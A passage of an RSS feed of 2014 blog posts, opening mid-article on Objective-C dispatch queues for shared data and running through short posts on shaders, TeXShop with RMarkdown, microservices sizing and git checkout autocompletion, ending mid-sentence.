    &lt;span class="n"&gt;NSLog&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;@"reading ends: %@"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;readCount&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    
    &lt;span class="n"&gt;readCount&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;found&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;But, this won’t solve the problem. Most of reads are probably a waste of time. What we actually need is a way to communicate between the write and read. The actual read should only happen after the data has been modified with some new write.&lt;/p&gt;

&lt;p&gt;We can start by separating the read and write tasks. We actually need the read operations to be serial, as we are implementing the case where a passenger is reading the list top-down and when they reach at the end, they start reading from the beginning. Whereas, many airliners can simultaneously edit the screen, so they still need to be in a concurrent queue.&lt;/p&gt;
&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;readQueue&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;dispatch_queue_create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"com.whackylabs.concurrency.readQ"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;DISPATCH_QUEUE_SERIAL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;writeQueue&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;dispatch_queue_create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"com.whackylabs.concurrency.writeQ"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;DISPATCH_QUEUE_CONCURRENT&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;parallelLoop&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;srandom&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    
    &lt;span class="n"&gt;__block&lt;/span&gt; &lt;span class="n"&gt;BOOL&lt;/span&gt; &lt;span class="n"&gt;done&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;NO&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;done&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        
        &lt;span class="cm"&gt;/* perform a write op */&lt;/span&gt;
        &lt;span class="n"&gt;dispatch_async&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;writeQueue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt; &lt;span class="nf"&gt;statusWriter&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
        &lt;span class="p"&gt;});&lt;/span&gt;
        
        &lt;span class="cm"&gt;/* perform a read op */&lt;/span&gt;
        &lt;span class="n"&gt;dispatch_async&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;readQueue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt; &lt;span class="nf"&gt;statusReaderWithFlightNumber&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SEARCH_FLIGHT&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nf"&gt;completionHandler&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BOOL&lt;/span&gt; &lt;span class="n"&gt;success&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;done&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;success&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="p"&gt;}];&lt;/span&gt;
        &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    
    &lt;span class="n"&gt;NSLog&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;@"Flight found after %@ writes and %@ reads"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;writeCount&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;readCount&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now, in the read operation we take a copy of the shared data. The way we can do it is by having an atomic property. Atomicity guarantees that the data is either have be successful or unsuccessful, there won’t be any in-betweens. So, in all cases we shall have a valid data all the time.&lt;/p&gt;
&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;@property&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;atomic&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;copy&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;NSArray&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;airportStatusBoardCopy&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In each read operation, we simply copy the shared data, so don’t care about mutability anymore.&lt;/p&gt;
&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;airportStatusBoardCopy&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;airportStatusBoard&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;And further on we can use the copy to execute the read operations.&lt;/p&gt;
&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;2014-09-27 16:20:33.145 a.out[12855:507] Flight found after 11 writes and 457571 reads
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This is the queue level solution of the problem. In our next update we will take a look at how we can solve the problem at thread level using C++ standard thread library.&lt;/p&gt;

&lt;p&gt;As always, the code for today’s experiment is available online at the github.com/chunkyguy/ConcurrencyExperiments.&lt;/p&gt;

&lt;table&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Posted in concurrency, _dev&lt;/td&gt;
      &lt;td&gt;Tagged C, Concurrency, Experiment, Swift&lt;/td&gt;
      &lt;td&gt;0 Comments&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;</description><author>Whacky Labs</author><pubDate>Sat, 27 Sep 2014 20:58:54 GMT</pubDate><guid isPermaLink="true">https://whackylabs.com/concurrency/2014/09/27/concurrency-working-with-shared-data-using-queues/</guid></item><item><title>Shaders: How Do They Work?</title><link>https://etodd.io/2014/09/27/shaders-how-do-they-work/</link><description>&lt;p&gt;Yesterday I gave a talk at &lt;a href="http://conf.devworkshop.org/"&gt;Dev Workshop Conf&lt;/a&gt; introducing the basic concepts of vertex and fragment shaders. Unfortunately I don't have a video, just this one potato picture:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://etodd.io/assets/ejDEvxb.jpg"&gt;&lt;img class="full" title="" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;It's probably for the best, because Chrome locked up on me halfway through. The slide deck is pretty cool though. It includes over 20 interactive WebGL samples, complete with source code. &lt;a href="http://et1337.github.io/shaders"&gt;Check it out&lt;/a&gt; and let me know what you think!&lt;/p&gt;</description><author>Evan Todd</author><pubDate>Sat, 27 Sep 2014 17:32:21 GMT</pubDate><guid isPermaLink="true">https://etodd.io/2014/09/27/shaders-how-do-they-work/</guid></item><item><title>On people offended when asked not to use Facebook, and who will die first</title><link>https://stop.zona-m.net/2014/09/on-people-offended-when-asked-not-to-use-facebook-and-who-will-die-first/</link><description>&lt;p&gt;In December 2013 I came across something I still consider yet another proof of two things: first, much trust in the &lt;em&gt;actual&lt;/em&gt; competence of many &amp;ldquo;digital savvy&amp;rdquo; Internet users is misplaced; second, many of the proposed alternatives to current social networks are trying to solve the wrong problem.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sat, 27 Sep 2014 07:10:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2014/09/on-people-offended-when-asked-not-to-use-facebook-and-who-will-die-first/</guid></item><item><title>Don't Focus on the Present</title><link>https://josh.works/climbing/2014/09/27/dont-focus-on-the-present/</link><description>&lt;p&gt;&lt;img alt="" src="/squarespace_images/static_556694eee4b0f4ca9cd56729_56035dbbe4b07ebf58d79d16_5586fe5ee4b0278244cea1d9_1434910446537_2014-09-23-11-40-39.jpg_" /&gt;&lt;/p&gt;

&lt;p&gt;If you accept the premise that training 
cycles are the method by which you will improve your climbing, you 
should be able to focus less on the day-by-day fluctuation in your performance.
At least, I should be able to, since I accept that premise. Yet I still struggle to not be moderately disappointed if I don’t perform as I hope. The antidote is thus:&lt;/p&gt;

&lt;p&gt;Build a plan. Evaluate success on how hard that plan pushes you, while still being possible. Then follow that plan.&lt;/p&gt;

&lt;p&gt;I missed the mark in a recent session because I couldn’t put together a plan that was challenging 
and possible. One or the other was easy, but I couldn’t get both.&lt;/p&gt;

&lt;p&gt;My goal was a ten-move sequence on a systems board that was very challenging, but could be barely be done repeatedly with 60 seconds of rest between attempts.&lt;/p&gt;

&lt;p&gt;Next time.&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Sat, 27 Sep 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/climbing/2014/09/27/dont-focus-on-the-present/</guid></item><item><title>Bi-temporal Data Model</title><link>https://www.craigpardey.com/post/2014-09-27-bi-temporal-data-model/</link><description>&lt;p&gt;A bi-temporal data model is a fancy way of saying that all tables have 2 pairs of dates: business from/to, and audit from/to.  The business dates track expected day-over-day changes in business data such as the varying quantities of widgets in stock.  The audit dates are used to track when the data was loaded into the database, and any data fixes applied by IT.&lt;/p&gt;
&lt;p&gt;In essence, every table contains the current record as well as the full log of all the changes that were ever made to that record.&lt;/p&gt;</description><author>Craig Pardey</author><pubDate>Sat, 27 Sep 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.craigpardey.com/post/2014-09-27-bi-temporal-data-model/</guid></item><item><title>Websocketing it up for snail movement</title><link>https://liza.io/websocketing-it-up-for-snail-movement/</link><description>&lt;p&gt;Over the past few days I&amp;rsquo;ve paused work on the brain to tackle snail movement on the client.&lt;/p&gt;
&lt;p&gt;I ended up using &lt;a href="https://github.com/sidneywidmer/Latchet"&gt;Latchet&lt;/a&gt;, a Laravel-specific extended version of Ratchet. To start with I just wanted to get &lt;em&gt;something&lt;/em&gt; running. I think I ended up doing this in a really roundabout way&amp;hellip;basically we subscribe to a specific jar topic on the client, then ping the server every 5 seconds to get back the target position of each snail within that jar. The snail then crawls toward this target position. Target pos on the server is calculated using the snail&amp;rsquo;s &lt;code&gt;currentSpeed&lt;/code&gt; and each snail crawls at the same speed in the browser, so &lt;em&gt;in theory&lt;/em&gt; by the time the snail reaches its target position on the server it will also have reached the same location on the client&amp;hellip;maybe&amp;hellip;I hope. We&amp;rsquo;ll see.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Sat, 27 Sep 2014 01:29:19 GMT</pubDate><guid isPermaLink="true">https://liza.io/websocketing-it-up-for-snail-movement/</guid></item><item><title>The Silmarillion</title><link>https://apurva-shukla.me/bookshelf/the-silmarillion/</link><description>⭐ ⭐ ⭐ ⭐ This book was a just a breeze to go through, I sat and read for hours on end because the book captivated me so much, the history of…</description><author>Apurva Shukla's RSS Feed</author><pubDate>Fri, 26 Sep 2014 13:13:49 GMT</pubDate><guid isPermaLink="true">https://apurva-shukla.me/bookshelf/the-silmarillion/</guid></item><item><title>Mendel Epstein and the Orthodox Hit Squad</title><link>http://www.gq.com/news-politics/newsmakers/201409/epstein-orthodox-hit-squad</link><description>&lt;p&gt;Incredible to think that today, in our modern society, things like this still happen. Not only do these sorts of things happen though, but they fly under the radar as well. Harrowing, to say the least.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.gq.com/news-politics/newsmakers/201409/epstein-orthodox-hit-squad"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Fri, 26 Sep 2014 11:24:08 GMT</pubDate><guid isPermaLink="true">http://www.gq.com/news-politics/newsmakers/201409/epstein-orthodox-hit-squad</guid></item><item><title>Using RMarkdown, knitr, and pandoc in TexShop on Mac</title><link>https://jonathanchang.org/blog/using-rmarkdown-knitr-and-pandoc-in-texshop-on-mac/</link><description>&lt;p&gt;Most people will use RStudio for this sort of workflow, but I use &lt;a href="http://pages.uoregon.edu/koch/texshop/"&gt;TeXShop&lt;/a&gt; because I prefer the side-by-side editing view with plain text on the left and the formatted version on the right. I don’t think RStudio supports it. Also, TeXShop feels like a native OS X application. RStudio can’t really shed its Qt roots no matter how hard it tries.&lt;/p&gt;
  &lt;p&gt;Here’s how to get TexShop working with your RMarkdown workflow.&lt;/p&gt;
  &lt;p&gt;I assume you’ve already installed &lt;a href="http://johnmacfarlane.net/pandoc/installing.html"&gt;pandoc&lt;/a&gt; and &lt;a href="https://tug.org/mactex/"&gt;MacTeX&lt;/a&gt;. If you don’t already have RMarkdown installed, load up an R session:&lt;/p&gt;
  &lt;div class="language-r highlighter-rouge"&gt;
    &lt;div class="highlight"&gt;
      &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;install.packages&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"devtools"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;devtools&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;install_github&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"rstudio/rmarkdown"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dependencies&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;TRUE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;p&gt;First, you’ll need to add a custom RMarkdown engine for TexShop. These are located in &lt;code&gt;~/Library/TeXShop/Engines&lt;/code&gt; and are simple executable script files with the extension &lt;code&gt;.engine&lt;/code&gt;. Let’s add an rmarkdown engine. Open up the Terminal:&lt;/p&gt;
  &lt;div class="language-bash highlighter-rouge"&gt;
    &lt;div class="highlight"&gt;
      &lt;pre class="highlight"&gt;&lt;code&gt;vim ~/Library/TeXShop/Engines/rmarkdown.engine        &lt;span class="c"&gt;# or nano, etc.&lt;/span&gt;
&lt;span class="nb"&gt;chmod &lt;/span&gt;a+x ~/Library/TeXShop/Engines/rmarkdown.engine
&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;p&gt;Inside that &lt;code&gt;rmarkdown.engine&lt;/code&gt; file you can just paste in these contents:&lt;/p&gt;
  &lt;div class="language-sh highlighter-rouge"&gt;
    &lt;div class="highlight"&gt;
      &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
&lt;p&gt;Rscript &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;“rmarkdown::render(&lt;/span&gt;&lt;span class="se"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="se"&gt;&amp;quot;&lt;/span&gt;&lt;span class="s2"&gt;, encoding=‘UTF-8’)”&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/p&gt;
&lt;p&gt;TeXShop will pass in the name of your Rmarkdown file as the first argument to your script, so you can pass it to R inside the variable &lt;code&gt;$1&lt;/code&gt;. Note that you might have to change the encoding argument to &lt;code&gt;rmarkdown::render&lt;/code&gt; if you have TeXShop saving files in something other than UTF8. It’s important to get this right, otherwise non-ASCII characters will cause random paragraphs to turn into &lt;code&gt;NA&lt;/code&gt;s. (Fixing this bug is Someone Else’s Problem because the workaround is adequate and there are only so many hours in the day.)&lt;/p&gt;
&lt;p&gt;Finally you need to get TeXShop to recognize &lt;code&gt;.Rmd&lt;/code&gt; files. By default TeXShop will refuse to let you “typeset” files with extensions that it doesn’t recognize. Though TeXShop does support plain &lt;code&gt;.md&lt;/code&gt; files, the RMarkdown package will not knit these and will bypass any R code found in plain Markdown files. So you must write with the &lt;code&gt;.Rmd&lt;/code&gt; extension. Fortunately there’s a hidden preference that you can tweak. Simply open Terminal and type:&lt;/p&gt;
&lt;div class="language-sh highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;defaults write TeXShop OtherTeXExtensions &lt;span class="nt"&gt;-array-add&lt;/span&gt; &lt;span class="s2"&gt;"Rmd"&lt;/span&gt;
defaults write TeXShop OtherTeXExtensions &lt;span class="nt"&gt;-array-add&lt;/span&gt; &lt;span class="s2"&gt;"rmd"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Now when you open &lt;code&gt;.Rmd&lt;/code&gt; files, simply select the “rmarkdown” engine from the drop down list in the toolbar and type away.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Other hidden preferences can be found in TeXShop’s extensive help files. I actually started grepping the source code to hack in this functionality until I figured out that the documentation for TeXShop was actually quite good. I’ve been spoiled by scientific software for too long.&lt;/em&gt;&lt;/p&gt;</description><author>Jonathan Chang</author><pubDate>Fri, 26 Sep 2014 10:18:36 GMT</pubDate><guid isPermaLink="true">https://jonathanchang.org/blog/using-rmarkdown-knitr-and-pandoc-in-texshop-on-mac/</guid></item><item><title>2014-09-26</title><link>https://ho.dges.online/pictures/2014-09-26/</link><description>&lt;p&gt;&lt;strong&gt;Autumn Run&lt;/strong&gt;&lt;/p&gt;</description><author>ho.dges.online</author><pubDate>Fri, 26 Sep 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2014-09-26/</guid></item><item><title>Microservices</title><link>https://blog.separateconcerns.com/2014-09-25-microservices.html</link><description>&lt;p&gt;Several people have asked me what I think about microservices. The tl;dr is: I like small services, but I don’t like what some call microservices, which is isolating every single feature within its own service and aiming at services at small as possible (I heard about a target of “a few hundred lines of code” per service and a hard limit at 5000 LOC).&lt;/p&gt;
&lt;p&gt;I &lt;a href="https://blog.separateconcerns.com/2013-01-02-startups-soa.html"&gt;see SOA&lt;/a&gt; (and modularization in general) as a technique to design a system so that it scales with the number of people on a team. The way it works is by dividing complexity between people. The following will be terribly simplified, but bear with me.&lt;/p&gt;
&lt;p&gt;Imagine a team working on a monolithic application. It is becoming too large and complicated to understand, so they split it into three parts, A, B and C. A third of the team will be responsible for each part. Each team is tasked with exposing an interface to the others, so that team A only has to worry about the internals of A and the interfaces of B and C. For each team, complexity has gone from the complexity of the monolithic application to a third of that complexity plus the complexity of communicating with the other parts of the system, or at least just knowing they exist, so given &lt;code&gt;N&lt;/code&gt; the number of parts in the system and &lt;code&gt;M&lt;/code&gt; the total complexity of the system, complexity seen from a service is: &lt;code&gt;M/N + k*N&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Now assuming the complexity of the system increases linearly with team size &lt;code&gt;S&lt;/code&gt; (it probably increases faster in practice but let’s approximate), complexity seen from a service is &lt;code&gt;l*S/N + k*N&lt;/code&gt;. With everything else constant, the function &lt;code&gt;N(S)&lt;/code&gt; to minimize that looks like a square root.&lt;/p&gt;
&lt;p&gt;In practice, this is not entirely true: as the system grows, not every service talks to other services and not every developer needs to know about every service. But because system architects and, more importantly, operations people do, my argument still holds.&lt;/p&gt;
&lt;p&gt;So here is my point: the number of services you have should look like a constant times the square root of the size of your team. Meaning, with a constant of three:&lt;/p&gt;
&lt;p&gt;&lt;img alt="graph" src="img/microservices.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;This is the problem I have with the idea to bound the size of single services while ignoring the complexity of inter-service communication. SOA is a practice which can help you curb local complexity as you scale but there is &lt;strong&gt;no way&lt;/strong&gt; it can make it constant without making a mess of the whole system.&lt;/p&gt;
&lt;p&gt;That being said, the value of the constant can be discussed. Some people think it should be lower than one, others think it should be very large.&lt;/p&gt;
&lt;p&gt;I am not a huge fan of small constants when they result in services that do too many things and require too many people. They end up looking like a few monoliths, with the same issues as a single monolith. Moreover, if you are going to do services, inter-service calls should be the norm and not an exception. Very large constants, on the other hand, result in too much accidental complexity, harder debugging and operational nightmares.&lt;/p&gt;
&lt;p&gt;I guess mileages vary but I like numbers around three. If you look at the curve above you may (or may not) agree that it looks reasonable; I think it does.&lt;/p&gt;
&lt;p&gt;Note that the title of this blog is still “Separate Concerns”: you should still draw clear lines between services, and you should still modularize as much as possible &lt;strong&gt;within&lt;/strong&gt; services. But not every function call needs to be turned into a message sent over a network, and not every data structure needs its own process and source control repository.&lt;/p&gt;
&lt;p&gt;And finally, just to be clear: do not look too much at the left part of the curve if you are a very early stage startup looking for product-market fit. You can still - and probably should - start with a monolith as long as you choose an architecture or framework with good modularization capabilities (like &lt;a href="https://flask.palletsprojects.com/en/2.2.x/blueprints/"&gt;Flask Blueprints&lt;/a&gt;). Only consider SOA when you start to have a good rough idea of what the product will look like.&lt;/p&gt;</description><author>Separate Concerns</author><pubDate>Fri, 26 Sep 2014 00:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.separateconcerns.com/2014-09-25-microservices.html</guid></item><item><title>MVC Architecture</title><link>https://daniellittle.dev/mvc-architecture</link><description>The typical scaffolding tool and sample applications for MVC web apps are usually based on simple CRUD like systems. They'll, usually, have…</description><author>Daniel Little Dev</author><pubDate>Thu, 25 Sep 2014 12:40:14 GMT</pubDate><guid isPermaLink="true">https://daniellittle.dev/mvc-architecture</guid></item><item><title>Git checkout - autocomplete local branches only</title><link>https://cmetcalfe.ca/blog/git-checkout-autocomplete-local-branches-only.html</link><description>&lt;p&gt;Having Git autocomplete branch names when doing a checkout is super useful.  Having the autocomplete
hang for 30 seconds because it has to look up all 3000 of the remote branches in a massive repo is
not so useful. It's actually pretty frustrating.&lt;/p&gt;
&lt;p&gt;My solution: changing the &lt;code&gt;git checkout&lt;/code&gt; autocomplete to only look at local branches, while using a
&lt;code&gt;git checkoutr&lt;/code&gt; alias to preserve the original behaviour (because sometimes it's actually needed).&lt;/p&gt;
&lt;p&gt;How it's done:&lt;/p&gt;
&lt;h2&gt;Define an alias for checkout&lt;/h2&gt;
&lt;p&gt;We're going to use the same checkout command for the remote checkout, but need to have a different
command so the script can differentiate between them.  Making an alias does exactly this.&lt;/p&gt;
&lt;p&gt;Create the alias by running &lt;code&gt;git config --global alias.checkoutr checkout&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Change the autocompletion function&lt;/h2&gt;
&lt;p&gt;The checkout autocomplete behaviour is defined in a function called &lt;code&gt;_git_checkout&lt;/code&gt; in the git
autocompletion file. We're going to override the function with our own version that has different
autocomplete logic in it.&lt;/p&gt;
&lt;p&gt;The location of the file varies over different operating systems and configurations, but here are a
few spots to look:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/etc/bash_completion.d/git&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/usr/share/bash-completion/completions/git&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For a brew-installed git autocomplete on macOS, the file will probably be
&lt;code&gt;$(brew --prefix)/etc/bash_completion.d/git-completion.bash&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Once you've found the file, copy the entire &lt;code&gt;_git_checkout&lt;/code&gt; function into your &lt;code&gt;.bashrc&lt;/code&gt; (or
equivalent non-login shell startup script). Now look for the line&lt;/p&gt;
&lt;p&gt;&lt;code&gt;__git_complete_refs $track_opt&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;We're going to replace that line with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;
&lt;span class="normal"&gt;2&lt;/span&gt;
&lt;span class="normal"&gt;3&lt;/span&gt;
&lt;span class="normal"&gt;4&lt;/span&gt;
&lt;span class="normal"&gt;5&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$command&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;checkoutr&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;then&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;__git_complete_refs&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$track_opt&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;__gitcomp_direct&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;__git_heads&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$cur&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot; &amp;quot;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;After saving and re-sourcing your &lt;code&gt;.bashrc&lt;/code&gt; file, git will autocomplete local branches and tags when
using &lt;code&gt;git checkout&lt;/code&gt;, but will go back to the default behaviour of autocompleting all references
